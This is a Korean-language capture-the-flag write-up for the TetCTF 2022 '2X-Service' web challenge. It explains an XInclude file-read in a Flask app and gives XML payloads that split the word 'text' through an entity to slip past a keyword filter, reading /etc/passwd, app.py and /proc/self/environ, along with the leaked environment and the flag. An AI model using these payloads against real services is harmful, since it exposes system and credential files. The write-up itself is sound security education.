Home
System Hacking
🚦

2X-Service Writeup

Type
CTF
년도
2022
Name
TetCTF
분야
WEB
세부분야
XXE
2022/01/09 18:27
점수
100점대
1 more property

풀이 사전 지식

+ xml
xinclude

# URL

# Page

dashboard

# Source Code

# app.py

import random import os from flask import Flask, render_template, render_template_string, url_for, redirect, request from flask_socketio import SocketIO, emit, send from xml.etree import ElementTree, ElementInclude app = Flask(__name__) app.config['SECRET_KEY'] = "XXXXXXXSECREKTXXXXXXXX" socketio = SocketIO(app) @app.route('/') def index(): return redirect(url_for('dashboard')) @app.route('/dashboard') def dashboard(): return render_template('dashboard.html') @app.route('/source') def source(): return render_template('source.html') @app.route('/about') def about(): return render_template('about.html') @socketio.on('message') def handle_message(xpath, xml): if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower(): if True: res = '' root = ElementTree.fromstring(xml.strip()) #print("ROOT : ",root) ElementInclude.include(root) print("ROOT : ", root.findall(xpath)) for elem in root.findall(xpath): if elem.text != "": print("elem : ", elem.text) res += elem.text + ", " emit('result', res[:-2]) else: emit('result', 'Nani?') @socketio.on('my event') def handle_my_custom_event(json): print('received json: ' + str(json)) if __name__ == '__main__': socketio.run(app, host='0.0.0.0', port=8003)
Python
복사

# Attack Vector

## XML

XML을 입력하고 해당 XML을 파싱하는 Xpath를 입력할 수 있습니다.

# Exploit

# XML

# XXE

Python 공식 문서에서 etree는 XXE 공격에 안전하다고 명시하고 있으며 DoS 공격 종류에서 취약점이 발생한다고 알려주고 있습니다.

# xinclude

xinclude는 XML 문서 내에서 비 XML 파일을 읽어올 수 있도록 지원하는 문법입니다.
<?xml version="1.0"?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xi="http://www.w3.org/2001/XInclude"> <head>...</head> <body> ... <p><xi:include href="license.txt" parse="text"/></p> </body> </html>
XML
복사
위와 같은 문법을 통해서 license.txt를 문서내 포함시킬 수 있습니다.
이 기법의 경우 parse="text"가 무조건 포함되어야 합니다.
따라서 아래의 코드에서 취약점을 방지하고 있습니다.
if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
Python
복사

# Payload

# text bypass

<?xml version="1.0"?> <!DOCTYPE html[ <!ENTITY var "tex"> ]> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xi="http://www.w3.org/2001/XInclude"> <p><xi:include href="/etc/passwd" parse="&var;t"/></p> </html>
XML
복사
아래의 코드로 우회가 가능합니다.
실제 app.py를 아래의 코드를 통해서 읽어오면
<?xml version="1.0"?> <!DOCTYPE html[ <!ENTITY var "tex"> ]> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xi="http://www.w3.org/2001/XInclude"> <p><xi:include href="app.py" parse="&var;t"/></p> </html>
XML
복사
os.environ에서 ‘KEY’를 받아오는 것을 확인할 수 있으며 해당 환경변수는 아래의 코드를 통해서 획득 가능합니다.
<?xml version="1.0"?> <!DOCTYPE html[ <!ENTITY var "tex"> ]> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xi="http://www.w3.org/2001/XInclude"> <p><xi:include href="/proc/self/environ" parse="&var;t"/></p> </html>
XML
복사
또한 코드가 길어 보이지 않으므로 burpsuite를 통해 확인이 가능합니다.
42["result","SHELL=/bin/bash\u0000vc=ez\u0000vv=tt\u0000lg=eng\u0000nb=qq\u0000iz=ez\u0000PWD=/home/ubuntu/2xservice\u0000LOGNAME=warmup\u0000XDG_SESSION_TYPE=unspecified\u0000ff=ee\u0000aa=bb\u0000y=z\u0000st=ts\u0000h=g\u0000e=f\u0000c=d\u0000HOME=/home/warmup\u0000a=b\u0000LANG=en_US.UTF-8\u0000LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:\u0000colo=red\u0000mr=more\u0000cc=dd\u0000XDG_SESSION_CLASS=background\u0000USER=warmup\u0000SHLVL=0\u0000XDG_SESSION_ID=1325\u0000KEY=ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;Tet=123;path=/tmp/;k=lvn;pi=3.14;handsome=tsu;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaFLAG=TetCTF{Just_Warm_y0u_uP_:P__}\u0000XDG_RUNTIME_DIR=/run/user/1001\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\u0000DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus\u0000MAIL=/var/mail/warmup\u0000OLDPWD=/root\u0000_=/usr/bin/python3\u0000"]
Bash
복사

# Flag

TetCTF{Just_Warm_y0u_uP_:P__}
Plain Text
복사

# Reference